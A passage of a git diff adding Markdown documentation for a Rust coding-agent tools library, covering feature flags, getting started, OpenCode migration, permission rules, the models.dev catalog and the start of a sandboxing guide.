path resolvers + shell sandboxing ([bubblewrap]) +- Framework-agnostic core (bring your own LLM framework) +- Embeddable inside any process +- Low memory footprint (~10 MiB PSS, all providers enabled) + +--- + +Ready to get started? See [Getting Started](getting-started.md) or +[Migrating from OpenCode](migration.md). + +[OpenCode]: https://opencode.ai/ +[SerdesAI]: https://crates.io/crates/serdes-ai +[models.dev]: https://models.dev +[bubblewrap]: https://github.com/containers/bubblewrap +[Bun]: https://bun.sh +[tokio]: https://tokio.rs diff --git a/docs/src/examples.md b/docs/src/examples.md new file mode 100644 index 00000000..da18567e --- /dev/null +++ b/docs/src/examples.md @@ -0,0 +1,31 @@ +# Examples + +Runnable examples live in the repository under each crate's `examples/` directory. + +## SerdesAI Integration + +| Example | Description | Run | +| ------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | +| [serdesai-basic] | Minimal agent with file tools, shell execution, web fetch, and streaming output. | `cargo run --example serdesai-basic -p llm-coding-tools-serdesai` | +| [serdesai-agents] | Load markdown agents through `AgentLoader`, build a named agent via `AgentBuildContext` using the models.dev catalog. | `cargo run --example serdesai-agents -p llm-coding-tools-serdesai` | +| [serdesai-task] | Orchestrator delegates a read-only task to a reader sub-agent, with streamed transcript and tool-call logging. | `cargo run --example serdesai-task -p llm-coding-tools-serdesai` | +| [serdesai-sandboxed] | Agent with `AllowedPathResolver` - file operations restricted to specific directories. | `cargo run --example serdesai-sandboxed -p llm-coding-tools-serdesai` | +| [serdesai-sandboxed-bash] | Sandboxed shell execution with a bubblewrap `public_bot` profile (Linux only). | `cargo run --example serdesai-sandboxed-bash --features linux-bubblewrap -p llm-coding-tools-serdesai` | + +[serdesai-basic]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-basic.rs +[serdesai-agents]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-agents.rs +[serdesai-task]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-task.rs +[serdesai-sandboxed]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-sandboxed.rs +[serdesai-sandboxed-bash]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-sandboxed-bash.rs + +## Core Library + +| Example | Description | Run | +| -------------------------------- | --------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- | +| [system_prompt_preview] | Full system prompt with all tools enabled, prints static token cost breakdown. | `cargo run --example system_prompt_preview -p llm-coding-tools-core` | +| [system_prompt_preview_readonly] | Smaller read-only system prompt - minimal tool set, lower token cost. | `cargo run --example system_prompt_preview_readonly -p llm-coding-tools-core` | +| [system_prompt_preview_compare] | Compares full vs read-only prompt footprints, prints character and token savings. | `cargo run --example system_prompt_preview_compare -p llm-coding-tools-core` | + +[system_prompt_preview]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-core/examples/system_prompt_preview.rs +[system_prompt_preview_readonly]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-core/examples/system_prompt_preview_readonly.rs +[system_prompt_preview_compare]: https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-core/examples/system_prompt_preview_compare.rs diff --git a/docs/src/feature-flags.md b/docs/src/feature-flags.md new file mode 100644 index 00000000..7ad08bd1 --- /dev/null +++ b/docs/src/feature-flags.md @@ -0,0 +1,100 @@ +# Feature Flags + +llm-coding-tools uses Cargo feature flags to control runtime mode, platform +support, and provider availability. This page documents every feature flag +across all crates. + +## llm-coding-tools-core + +| Flag | Default | Description | +| ------------------ | ---------- | --------------------------------------------------------------- | +| `tokio` | yes | Async runtime support. Enables async tool functions with tokio. | +| `blocking` | no | Sync/blocking mode. Tool functions compile as synchronous. | +| `async` | (internal) | Base async signatures. Enabled by `tokio`, not set directly. | +| `linux-bubblewrap` | no | Linux bubblewrap sandboxing for shell commands. Linux only. | + +`tokio` and `blocking` are mutually exclusive. + +## llm-coding-tools-serdesai + +| Flag | Default | Description | +| ------------------- | ------- | --------------------------------------- | +| `full` | yes | Enables all 15 provider features below. | +| `openai` | no | OpenAI Completions API | +| `anthropic` | no | Anthropic Claude API | +| `azure` | no | Azure OpenAI API | +| `bedrock` | no | AWS Bedrock | +| `chatgpt-oauth` | no | ChatGPT OAuth | +| `claude-code-oauth` | no | Claude Code OAuth | +| `cohere` | no | Cohere API | +| `gemini` | no | Google Gemini API | +| `google` | no | Google AI API | +| `groq` | no | Groq API | +| `huggingface` | no | HuggingFace API | +| `mistral` | no | Mistral API | +| `ollama` | no | Ollama (local models) | +| `openrouter` | no | OpenRouter API | +| `antigravity` | no | Antigravity API | +| `linux-bubblewrap` | no | Linux sandbox support | + +When `full` is enabled, all providers are available. Disable `default-features` +and enable only the providers you need to reduce compile time and binary size: + +```toml +[dependencies] +llm-coding-tools-serdesai = { version = "0.2", default-features = false, features = ["openai", "anthropic"] } +``` + +## llm-coding-tools-agents + +No feature flags. The crate is feature-free. + +## llm-coding-tools-bubblewrap + +| Flag | Default | Description | +| ---------- | ------- | ------------------------------------- | +| `tokio` | yes | Async wrapped command execution | +| `blocking` | no | Synchronous wrapped command execution | + +Compile-time guard: produces a `compile_error!` on non-Linux targets. + +## llm-coding-tools-models-dev + +| Flag | Default | Description | +| ---------- | ------- | ---------------------------------- | +| `tokio` | yes | Async catalog loading with reqwest | +| `blocking` | no | Synchronous catalog loading | + +Exactly one must be enabled. + +## Common patterns + +### Minimal async agent ([SerdesAI], OpenAI only) + +```toml +[dependencies] +llm-coding-tools-serdesai = { version = "0.2", default-features = false, features = ["openai"] } +``` + +### Full async agent with Linux sandboxing + +```toml +[dependencies] +llm-coding-tools-serdesai = { version = "0.2", features = ["linux-bubblewrap"] } +``` + +### Framework-agnostic, blocking mode + +```toml +[dependencies] +llm-coding-tools-core = { version = "0.2", default-features = false, features = ["blocking"] } +``` + +### All providers, no sandboxing + +```toml +[dependencies] +llm-coding-tools-serdesai = "0.2" # 'full' is default +``` + +[SerdesAI]: https://crates.io/crates/serdes-ai diff --git a/docs/src/getting-started.md b/docs/src/getting-started.md new file mode 100644 index 00000000..e68b0985 --- /dev/null +++ b/docs/src/getting-started.md @@ -0,0 +1,241 @@ +# Getting Started + +Build sandboxed coding agents in Rust. Define agents in markdown, attach +tools with permissions, and run them against any LLM provider. You'll need +a Rust project and an LLM API key (e.g. `OPENAI_API_KEY`). + +## Build your first agent + +=== "With Agent Files" + + !!! info "Agents are defined as markdown files with YAML frontmatter" + The agent file format mirrors [OpenCode]'s agent definition format - + similar enough that many files are drop-in compatible, but + [not identical](migration.md). + + **1.** Create an agent file at `agents/coder.md`: + + ```markdown + --- + name: coder + mode: all + description: A coding agent that can read, search, and edit files. + permission: + read: allow + write: allow + edit: allow + glob: allow + grep: allow + bash: allow + webfetch: allow + task: deny + --- + + You are a coding assistant. Use the available tools to complete the user's task. + ``` + + **2.** Add the dependencies: + ```toml + [dependencies] + llm-coding-tools-serdesai = "0.2" + llm-coding-tools-agents = "0.1" + llm-coding-tools-core = "0.2" + llm-coding-tools-models-dev = "0.1" + tokio = { version = "1", features = ["full"] } + ``` + + **3.** Run the agent: + + ```rust + use llm_coding_tools_agents::{AgentCatalog, AgentLoader, AgentRuntimeBuilder}; + use llm_coding_tools_core::CredentialResolver; + use llm_coding_tools_models_dev::ModelsDevCatalog; + use llm_coding_tools_serdesai::{AgentBuildContext, AgentDefaults}; + use std::{path::PathBuf, sync::Arc}; + + #[tokio::main] + async fn main() -> Result<(), Box> { + // Load agent definitions from markdown files + let mut catalog = AgentCatalog::new(); + AgentLoader::new().add_directory(&mut catalog, "./agents")?; + + // Sync the models.dev catalog (with ETag caching and offline fallback) + let load_result = ModelsDevCatalog::load().await?; + + // Build runtime with a default model and the loaded agents + let runtime = AgentRuntimeBuilder::new() + .catalog(catalog) + .defaults(AgentDefaults::with_model("synthetic/hf:MiniMaxAI/MiniMax-M2.5")) + .build()?; + + // Create a shared build context (catalog + credentials) + // API keys and endpoints are resolved automatically by matching the + // model string against the models.dev catalog (e.g. OPENAI_API_KEY). + let build_context = AgentBuildContext::new( + Arc::new(runtime), + Arc::new(load_result.catalog), + Arc::new(CredentialResolver::new()), + ); + + // Build a named agent and run it + let agent = build_context.build("coder")?; + let response = agent.run("Find all TODO comments in src/", ()).await?; + println!("{}", response.output()); + Ok(()) + } + ``` + +=== "Without Agent Files" + + For simpler use cases, attach tools directly to a [SerdesAI] agent + builder (the LLM agent framework): + + ```toml + [dependencies] + llm-coding-tools-serdesai = "0.2" + llm-coding-tools-core = "0.2" + tokio = { version = "1", features = ["full"] } + ``` + + ```rust + use llm_coding_tools_core::CredentialResolver; + use llm_coding_tools_serdesai::{ + ReadTool, GlobTool, GrepTool, EditTool, AbsolutePathResolver, + BashTool, SystemPromptBuilder, WebFetchTool, create_todo_tools, + agent_ext::AgentBuilderExt, + }; + use serdes_ai::prelude::*; + use serdes_ai_models::OpenAIChatModel; + + #[tokio::main] + async fn main() -> Result<(), Box> { + let (todo_read, todo_write, _) = create_todo_tools(); + let mut pb = SystemPromptBuilder::new() + .working_directory("/path/to/project".to_string()); + + let credentials = CredentialResolver::new(); + let api_key = credentials.resolve("OPENAI_API_KEY") + .expect("OPENAI_API_KEY not set"); + + let model = OpenAIChatModel::new("hf:zai-org/GLM-4.7-Flash", api_key) + .with_base_url("https://api.synthetic.new/openai/v1"); + + let agent = AgentBuilder::<(), String>::new(model) + .tool(pb.track(ReadTool::new(AbsolutePathResolver))) + .tool(pb.track(GlobTool::new(AbsolutePathResolver))) + .tool(pb.track(GrepTool::new(AbsolutePathResolver))) + .tool(pb.track(EditTool::new(AbsolutePathResolver))) + .tool(pb.track(BashTool::host())) + .system_prompt(pb.build()) + .build(); + + let response = agent.run("Find all TODO comments", ()).await?; + println!("{}", response.output()); + Ok(()) + } + ``` + +!!! note "What just happened?" + + - **Agent markdown** (with agent files) defines the agent's name, permissions + (default-deny), and system prompt in one file + - **SystemPromptBuilder** (without agent files) generates the system prompt + with guidance for every attached tool + - **CredentialResolver** resolves API keys from environment variables or + explicit overrides (see below) + - **AgentBuildContext** (with agent files) wires the model catalog, + credentials, and agent definitions together + - **`build("coder")`** resolves the agent by name, attaches its permitted + tools, and generates the system prompt + +!!! tip "Runnable examples" + The repository includes complete examples for both paths: + [serdesai-basic](https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-basic.rs) + (without agent files) and + [serdesai-agents](https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-serdesai/examples/serdesai-agents.rs) + (with agent files). See [Examples](examples.md) for the full list. + +## Credential management + +`CredentialResolver` resolves API keys by name (e.g. `"OPENAI_API_KEY"`) - +overrides first, then environment variables. The resolver skips empty values, +so an empty override falls through to the environment variable. + +```rust +use llm_coding_tools_core::CredentialResolver; + +let mut resolver = CredentialResolver::new(); +resolver.set_override("OPENAI_API_KEY", "sk-..."); +``` + +For multi-tenant servers or shared CI runners where environment variables +should be ignored, use `CredentialResolver::without_env()`. + +## Run the examples + +The repository ships with complete, runnable examples: + +```bash +# Basic agent setup +cargo run --example serdesai-basic -p llm-coding-tools-serdesai + +# Sandboxed file access (restricted to allowed directories) +cargo run --example serdesai-sandboxed -p llm-coding-tools-serdesai + +# Sandboxed bash execution (Linux, requires bubblewrap) +cargo run --example serdesai-sandboxed-bash --features linux-bubblewrap -p llm-coding-tools-serdesai + +# Agent catalog loading from markdown files +cargo run --example serdesai-agents -p llm-coding-tools-serdesai + +# Multi-agent task delegation (orchestrator delegates to sub-agents) +cargo run --example serdesai-task -p llm-coding-tools-serdesai +``` + +See [Examples](examples.md) for the full list with descriptions and +source links. + +## Sandboxing for production + +For production deployments handling untrusted input, enable sandboxing: + +```toml +[dependencies] +llm-coding-tools-serdesai = { version = "0.2", features = ["linux-bubblewrap"] } +``` + +Use `AllowedPathResolver` to restrict file access and the [bubblewrap] sandbox +to isolate shell execution. See [Sandboxing](sandboxing.md) for the full guide. + +### Common deployment profiles + +- **Discord bot / chat bot** - Use the Public Bot sandbox profile + (restrictive; see [Sandboxing](sandboxing.md#the-two-profiles)) and + `AllowedPathResolver` to limit what the LLM can do with user-provided prompts. +- **CI/CD pipeline** - Use the Trusted Maintenance profile + (permissive; see [Sandboxing](sandboxing.md#the-two-profiles)) for build jobs + where you control the inputs. Explicitly mount the cache directories so that + build artifacts persist between runs. + +If you use a framework other than SerdesAI, see [Custom Framework](guides/custom-framework.md). + +## Blocking mode + +All crates default to async via the `tokio` feature. + +To use blocking mode, disable default features and enable `blocking`: + +```toml +[dependencies] +llm-coding-tools-core = { version = "0.2", default-features = false, features = ["blocking"] } +``` + +## Next steps + +- [Tools](tools.md) - every tool's behaviour, inputs, and outputs +- [Agents](agents.md) - define agents with markdown files and YAML frontmatter +- [Crate Structure](architecture.md) - understand how the 5 crates fit together + +[SerdesAI]: https://crates.io/crates/serdes-ai +[OpenCode]: https://opencode.ai/ +[bubblewrap]: https://github.com/containers/bubblewrap diff --git a/docs/src/guides/custom-framework.md b/docs/src/guides/custom-framework.md new file mode 100644 index 00000000..75d2ccc1 --- /dev/null +++ b/docs/src/guides/custom-framework.md @@ -0,0 +1,163 @@ +# Custom Framework Integration + +Integrate llm-coding-tools into any Rust LLM framework. Wrap tool +functions, generate system prompts, and configure path security in three +steps. You only need this if you're using a framework other than +[SerdesAI] (an LLM agent framework). + +If you're using SerdesAI, see [Getting Started](../getting-started.md) +instead. + +## The integration pattern + +Every framework adapter does three things: + +1. **Wrap core tool functions** into the framework's tool trait +2. **Generate the system prompt** using `SystemPromptBuilder` +3. **Resolve paths** using a `PathResolver` implementation + +## Step 1: Wrap a tool function + +Here's how you'd wrap the `read_file` function for a hypothetical framework: + +```rust +use llm_coding_tools_core::{ + read_file, PathResolver, ToolResult, + tools::read::{ReadInput, ReadOutput}, +}; + +// Your framework's tool trait +trait MyTool { + type Input; + type Output; + fn name(&self) -> &str; + fn execute(&self, input: Self::Input) -> impl std::future::Future>; +} + +// Read tool adapter +struct MyReadTool { + resolver: R, + line_numbers: bool, +} + +impl MyTool for MyReadTool { + type Input = ReadInput; + type Output = ReadOutput; + + fn name(&self) -> &str { + "read" + } + + async fn execute(&self, input: Self::Input) -> Result { + let path = self.resolver.resolve(&input.path) + .map_err(|e| e.to_string())?; + + read_file::<_, true>(&path, input.offset, input.limit) + .await + .map_err(|e| e.to_string()) + } +} +``` + +## Step 2: Generate the system prompt + +Use `SystemPromptBuilder` to create a system prompt that includes guidance for +every tracked tool: + +```rust +use llm_coding_tools_core::{ + SystemPromptBuilder, ToolContext, + context::{PathMode, ToolPrompt}, + tool_metadata, +}; + +// Implement ToolContext for your tool +impl ToolContext for MyReadTool { + const NAME: &'static str = tool_metadata::read::NAME; + + fn context(&self) -> ToolPrompt { + ToolPrompt::Read { + path_mode: PathMode::Absolute, + line_numbers: self.line_numbers, + } + } +} + +// Build the prompt +let mut pb = SystemPromptBuilder::new() + .working_directory("/path/to/project".to_string()); + +let read_tool = MyReadTool { + resolver: AbsolutePathResolver, // simplest; see Step 3 for sandboxed alternatives + line_numbers: true, +}; +pb.track(read_tool); +// pb.track(other_tool); +// pb.track(another_tool); + +let system_prompt = pb.build(); +``` + +The builder includes guidance only for tracked tools. Cross-tool references +(e.g. "prefer grep over read for searching") are included only when both tools +are present. + +## Step 3: Choose a path resolver + +| Resolver | Use when | +| ---------------------- | ------------------------------------------------------------------------------------------- | +| `AbsolutePathResolver` | Paths are unrestricted; use when you trust the LLM or restrict access via the system prompt | +| `AllowedPathResolver` | You want to restrict file access to specific directories | +| `AllowedGlobResolver` | You want fine-grained glob-based allow/deny rules | + +```rust +use llm_coding_tools_core::{ + AbsolutePathResolver, AllowedPathResolver, + path::{AllowedGlobResolver, GlobPolicy, RuleAction}, +}; + +// Unrestricted +let any_path = AbsolutePathResolver; + +// Directory-restricted +let sandbox = AllowedPathResolver::new(["/workspace/project", "/tmp"])?; + +// Glob-filtered (last matching rule takes precedence) +let glob = AllowedGlobResolver::new(["/workspace/project"])? + .with_policy( + GlobPolicy::builder() + .add("src/**", RuleAction::Allow)? + .add("target/**", RuleAction::Deny)? + .build()? + ); +``` + +!!! tip "Runnable example" + + See + [system_prompt_preview](https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-core/examples/system_prompt_preview.rs) + for a working example of prompt building with the core library. + See [Examples](../examples.md) for the full list. + +## What you get from core + +| Component | What it provides | +| ---------------------------------------------- | ------------------------------------------- | +| `read_file`, `write_file`, `edit_file` | File operations | +| `glob_files`, `grep_search` | Search operations | +| `execute_command`, `execute_command_with_mode` | Shell execution | +| `fetch_url` | URL fetching | +| `read_todos`, `write_todos` | Shared todo state | +| `SystemPromptBuilder` | Context-aware system prompt generation | +| `ToolContext` trait | Tool metadata interface for prompt building | +| `PathResolver` trait | Path security boundary | +| `AllowedPathResolver` | Directory-based sandbox | +| `AllowedGlobResolver` | Glob-based sandbox (last matching rule takes precedence) | +| `Ruleset` / `Rule` | Permission evaluation engine | +| `CredentialResolver` | API key lookup with overrides | +| `ModelCatalog` | Compact provider/model hash table | +| `ToolError` | Unified error type for all tools | + +For the full API reference, see [docs.rs/llm-coding-tools-core](https://docs.rs/llm-coding-tools-core). + +[SerdesAI]: https://crates.io/crates/serdes-ai diff --git a/docs/src/index.md b/docs/src/index.md new file mode 100644 index 00000000..f1ec8b6e --- /dev/null +++ b/docs/src/index.md @@ -0,0 +1,242 @@ +--- +hide: + - toc +--- + + + +
+

llm-coding-tools

+

+ Production-grade coding agent tools in Rust.
+ ~10 MiB. No TUI. Embed it anywhere. +

+
+ +
+ CI + crates.io + docs.rs + License + +
+ + + +--- + +## Why this project? + +llm-coding-tools started as "an OpenCode for servers." Headless, +sandboxed, and cheap to host for non-commercial use. + +[OpenCode] is a great interactive coding agent, but it's a **TypeScript +application** that uses ~305 MiB of RAM and runs as a separate process. +What if you need those same tools for a server? A Discord bot? +A CI pipeline? A custom product? + +**llm-coding-tools** ships the same agent tools as a Rust library. +Shell sandboxing. Default-deny permissions. ~10 MiB footprint. + +
+
+
~10 MiB
+
Memory usage
+
+
+
10
+
Built-in tools
+
+
+
~2K
+
System prompt tokens
+
+
+
6 / 11
+
CI platforms / semver-stable APIs
+
+
+ +## Features + +
+
+

📄 File Operations

+

Read, write, and edit files with line-numbered output, offset/limit, and exact text replacement.

+
+
+

🔍 Search

+

Glob pattern matching and regex content search with match metadata and configurable limits.

+
+
+

💻 Shell Execution

+

Cross-platform command execution with timeout, captured output, and optional Linux sandboxing.

+
+
+

🌐 Web Fetch

+

Fetch URLs and convert HTML to markdown. Configurable timeouts and size limits.

+
+
+

🔒 Sandboxing

+

Linux bubblewrap profiles for shell isolation. Network isolation, filtered filesystem, scrubbed env.

+
+
+

🤖 Agent Runtime

+

Load agent markdown files based on [OpenCode]'s schema. Multi-agent delegation with recursion depth limits.

+
+
+

🗄️ Model Catalog

+

Sync the models.dev catalog with ETag caching, zstd compression, and offline fallback.

+
+
+

🔑 Permissions

+

Default-deny tool access with ordered rules where the last matching rule takes priority. Wildcard patterns for delegation control.

+
+
+

⚡ Async + Sync

+

Every tool compiles as async (tokio) or blocking. Zero overhead at the call site.

+
+
+

🧩 Embeddable

+

Framework-agnostic core. Use the SerdesAI integration or build your own with the core primitives.

+
+
+ +## Quick Start + +**1.** Add the dependencies: + +```toml +[dependencies] +llm-coding-tools-serdesai = "0.2" +llm-coding-tools-agents = "0.1" +llm-coding-tools-core = "0.2" +llm-coding-tools-models-dev = "0.1" +tokio = { version = "1", features = ["full"] } +``` + +**2.** Create an agent file (`agents/coder.md`): + +```markdown +--- +name: coder +mode: all +description: A coding agent that can read, search, and edit files. +permission: + read: allow + write: allow + edit: allow + glob: allow + grep: allow + bash: allow + webfetch: allow + task: deny +--- + +You are a coding assistant. Use the available tools to complete the user's task. +``` + +**3.** Load the catalog, build the agent, and run: + +```rust +use llm_coding_tools_agents::{AgentCatalog, AgentLoader, AgentRuntimeBuilder}; +use llm_coding_tools_core::CredentialResolver; +use llm_coding_tools_models_dev::ModelsDevCatalog; +use llm_coding_tools_serdesai::{AgentBuildContext, AgentDefaults}; +use std::{path::PathBuf, sync::Arc}; + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Load agents from the "agents" directory. + let mut catalog = AgentCatalog::new(); + AgentLoader::new().add_directory(&mut catalog, "./agents")?; + + // Supports any model from https://models.dev + let load_result = ModelsDevCatalog::load().await?; + + let runtime = AgentRuntimeBuilder::new() + .catalog(catalog) // Load agent definitions from the catalog. + .defaults(AgentDefaults::with_model("synthetic/hf:MiniMaxAI/MiniMax-M2.5")) + .build()?; + + let build_context = AgentBuildContext::new( + Arc::new(runtime), + Arc::new(load_result.catalog), + Arc::new(CredentialResolver::new()), + ); + + let agent = build_context.build("coder")?; + let response = agent.run("Find all TODO comments in src/", ()).await?; + println!("{}", response.output()); + Ok(()) +} +``` + +See [Getting Started](getting-started.md) for the full walkthrough with +dependency setup and an alternate path without agent files. + +## Crate Map + +
+
+

core

+

Framework-agnostic tools for building coding agents. File operations, search, shell, permissions, system prompts - use with any LLM framework.

+
+
+

agents

+

Load agent markdown files based on [OpenCode]'s schema into a typed catalog. Default-deny permissions with granular path matching.

+
+
+

serdesai

+

Ready-to-use SerdesAI (LLM serialization framework) integration. 15 LLM provider adapters, multi-agent task delegation with recursion depth limits.

+
+
+

bubblewrap

+

Sandbox shell execution on Linux. Network-isolated, filesystem-filtered profiles for untrusted input. Two presets included.

+
+
+

models-dev

+

Sync the models.dev catalog. ETag caching, offline fallback. ~3000 models in ~24 KiB.

+
+
+ +## Comparison with OpenCode + +
+ + + + + + + + + + + + + + + + + + + + +
AspectOpenCodellm-coding-tools
LanguageTypeScriptRust
RuntimeBuntokio / blocking
Memory~305 MiB~13 MiB
InterfaceTUI / Desktop / IDELibrary (headless, no UI)
Agent formatMarkdown + YAMLSimilar format
PermissionsDefault-allow + interactive askDefault-deny
Tool set14 tools10 tools (core set)
LLM frameworkAI SDK (TypeScript)SerdesAI / bring your own
Sandboxing-Linux bubblewrap profiles
EmbeddableClient/server HTTP APIRust crate (library)
+
+ +See [Comparison with OpenCode](comparison.md) for a deeper breakdown. + +[OpenCode]: https://opencode.ai/ \ No newline at end of file diff --git a/docs/src/migration.md b/docs/src/migration.md new file mode 100644 index 00000000..d21ee337 --- /dev/null +++ b/docs/src/migration.md @@ -0,0 +1,135 @@ +# Migrating from OpenCode + +llm-coding-tools uses an agent file format that mirrors [OpenCode]'s schema. +Many agent files are drop-in compatible, but not identical. This page covers +the differences and how to adapt your existing agent files. + +## Default-deny permissions + +The most visible difference: in [OpenCode], unlisted tools are allowed by +default. In llm-coding-tools, unlisted tools are **denied**. + +=== "OpenCode (default-allow)" + + All tools are allowed; list only the ones you want to deny: + + ```yaml + permission: + task: deny # deny specific tools + webfetch: deny # everything else is allowed by default + ``` + +=== "llm-coding-tools (default-deny)" + + All tools are denied; list only the ones you want to allow: + + ```yaml + permission: + read: allow # allow specific tools + write: allow + bash: allow + glob: allow + grep: allow + edit: allow + # everything else is denied by default + ``` + +One lists **exceptions** to deny; the other lists **exceptions** to allow. +The two configs are not equivalent: OpenCode has more tools available +overall. + +### Portable default-deny + +!!! tip "One config, both systems" + + A `"*": deny` catch-all overrides OpenCode's default-allow, so the + same agent file behaves as default-deny on both systems. In + llm-coding-tools it is redundant (the default is already deny), but + harmless. + +```yaml +permission: + "*": deny # catch-all: deny every tool + read: allow # then allow only what's needed + write: allow + bash: allow + glob: allow + grep: allow + edit: allow + webfetch: allow +``` + +**The last-match-wins rule** means the system evaluates entries in reverse +order - named `allow` entries that follow `"*": deny` take precedence. +For path-level and command-level patterns (`**`, `*` within a tool), see +[Permission rules](tools.md#permission-rules). + +!!! tip "Why portability matters" + + The author uses [OpenCode] on the desktop for interactive development + and llm-coding-tools for server-side deployments. llm-coding-tools + preserves portability with [OpenCode]'s agent format where possible, + so you can share agent files across both workflows. + +## File tool path matching + +!!! info "[OpenCode] has an `external_directory` permission for granting access to paths outside the workspace." + +llm-coding-tools does not have this field: external directories are +specified directly in per-tool filters, which also gives finer-grained +control (each tool can have its own set of paths). + +File tool permissions (`read`, `write`, `edit`, `glob`, `grep`) match +against the path as given: + +- **Absolute paths** start with `/` or a drive letter like `C:/` +- **Relative paths** have no such prefix + +| Pattern | Matches | +| ------- | --------------------------------------------------------- | +| `**` | Any file at any depth, relative to the workspace root | +| `*` | Any file in the workspace root only | +| `/**` | Any file on the system, including other drives on Windows | + +```yaml +permission: + read: + "**": deny # deny everything else + "src/**": allow # relative: src directory + "/var/data/config.yaml": allow # absolute: specific file + write: + "**": deny + "src/**": allow +``` + +## No interactive `ask` mode + +[OpenCode] supports `permission.task: ask` which prompts the user for approval +in the TUI. llm-coding-tools is headless, so there is no interactive approval +flow. + +Using `ask` will produce a schema validation error. Use `allow` or `deny` +instead: + +```yaml +permission: + task: + "*": deny # deny all delegation by default + "reader-*": allow # allow delegation to reader-* agents +``` + +!!! note "Omitting `permission.task` defaults to allow" + + When `permission.task` is omitted entirely, it defaults to allowing + delegation to all callable subagents. This is an exception to the + default-deny rule. To disable delegation, explicitly set `task: deny`. + +## Quick migration checklist + +- [ ] Add explicit `permission` entries for every tool the agent needs +- [ ] Replace `external_directory` with per-tool path filter patterns +- [ ] Change `ask` to `allow` or `deny` in all permission rules +- [ ] Verify path patterns match expected files +- [ ] Test with `cargo test` or your integration tests + +[OpenCode]: https://opencode.ai/ diff --git a/docs/src/models-catalog.md b/docs/src/models-catalog.md new file mode 100644 index 00000000..51e6da71 --- /dev/null +++ b/docs/src/models-catalog.md @@ -0,0 +1,118 @@ +# Models Catalog + +The `llm-coding-tools-models-dev` crate syncs the online +[models.dev](https://models.dev) catalog into a compact `ModelCatalog` that +can be used for provider/model lookups, validation, and display. + +## Why this exists + +If you run coding agents against many LLM providers, you need up-to-date +information about available models, their capabilities, and API endpoints. +[models.dev](https://models.dev) aggregates this data for 75+ providers. + +This crate downloads from [models.dev], keeps only the fields needed, and builds +a `ModelCatalog` optimized for fast lookups. + +## Load flow + +```mermaid +graph TD + A[Check for cached ETag] --> B{Send request with If-None-Match} + B -->|304 Not Modified| C[Load from cache] + B -->|200 OK| D[Parse JSON + Build catalog + Write cache] + B -->|Network error| E{Cached data exists?} + E -->|Yes| F[Load from fallback cache] + E -->|No| G[Error] +``` + +1. Read cache header and get the old ETag (if present) +2. Send request to [models.dev] with `If-None-Match` when ETag exists +3. If `304 Not Modified`, load catalog from cache +4. If `200 OK`, parse JSON, build catalog, write fresh cache +5. If network fails, try cached data as fallback + +## Usage + +### Async ([tokio], default) + +```rust +use llm_coding_tools_models_dev::{CatalogLoadSource, ModelsDevCatalog}; + +async fn load() -> Result<(), Box> { + let result = ModelsDevCatalog::load().await?; + + match result.source { + CatalogLoadSource::Downloaded => println!("Downloaded fresh catalog"), + CatalogLoadSource::NotModifiedCache => println!("Cache is up to date"), + CatalogLoadSource::FallbackCache => println!("Using cached data (offline)"), + } + + if let Some((provider, model)) = result.catalog.lookup("openai", "gpt-4") { + println!("API URL: {}", provider.api_url); + println!("Max input tokens: {}", model.max_input); + } + + Ok(()) +} +``` + +### Blocking + +```rust +use llm_coding_tools_models_dev::{CatalogLoadSource, ModelsDevCatalog}; + +fn load() -> Result<(), Box> { + let result = ModelsDevCatalog::load()?; + // Same interface as async, but synchronous + Ok(()) +} +``` + +### Custom cache path + +```rust +use llm_coding_tools_models_dev::ModelsDevCatalog; +use std::path::PathBuf; + +let cache_path = PathBuf::from("/tmp/my-cache"); +let result = ModelsDevCatalog::load_at(&cache_path).await?; +``` + +## Cache details + +**Location** (platform default): + +| Platform | Path | +| -------- | --------------------------------------------------------------- | +| Linux | `~/.cache/llm-coding-tools/models.dev.catalog.v1.cache` | +| macOS | `~/Library/Caches/llm-coding-tools/models.dev.catalog.v1.cache` | +| Windows | `%LOCALAPPDATA%\llm-coding-tools\models.dev.catalog.v1.cache` | + +Override with the `LLM_CODING_TOOLS_MODELS_DEV_CACHE_PATH` environment variable. + +**Performance** (rough guidance, Ryzen 9950X3D): + +| Metric | Value | +| ---------------------------------------------------- | --------------------------- | +| Raw JSON | ~1.31 MiB | +| Serialized payload | ~109 KiB | +| Compressed cache | ~23.7 KiB ([zstd] level 17) | +| Compression time | ~10.1 ms | +| Decompression time | ~57 us | +| Full cache load (read + decompress + decode + build) | ~0.31 ms | + +The catalog contains ~3000 models across 75+ providers, stored in a compact +hash-table format (~30 KiB in memory). + +## Feature flags + +| Flag | Default | Description | +| ---------- | ------- | --------------------------- | +| `tokio` | yes | Async runtime support | +| `blocking` | no | Synchronous runtime support | + +Exactly one must be enabled. + +[models.dev]: https://models.dev +[tokio]: https://tokio.rs +[zstd]: https://facebook.github.io/zstd/ diff --git a/docs/src/sandboxing.md b/docs/src/sandboxing.md new file mode 100644 index 00000000..a599d2dc --- /dev/null +++ b/docs/src/sandboxing.md @@ -0,0 +1,342 @@ +# Sandboxing + +Sandboxing prevents a compromised or misbehaving LLM from reaching the host +filesystem, the network, and your secrets. This page helps you pick the right +profile and verify your setup before deploying. + +!!! warning + + When an LLM runs shell commands, it can do anything the process can do: + read secrets, delete files, make network requests to exfiltrate data, and + more. + +!!! warning "Shell sandboxing is not enabled by default" + + The `bash` tool runs unsandboxed unless you configure a bubblewrap profile. + File tools (`read`, `write`, `edit`, `glob`, `grep`) are sandboxed to the + workspace root by default. See [Enabling sandboxing](#enabling-sandboxing). + +For server-side deployments, `llm-coding-tools` provides two layers of +protection: + +1. **Path 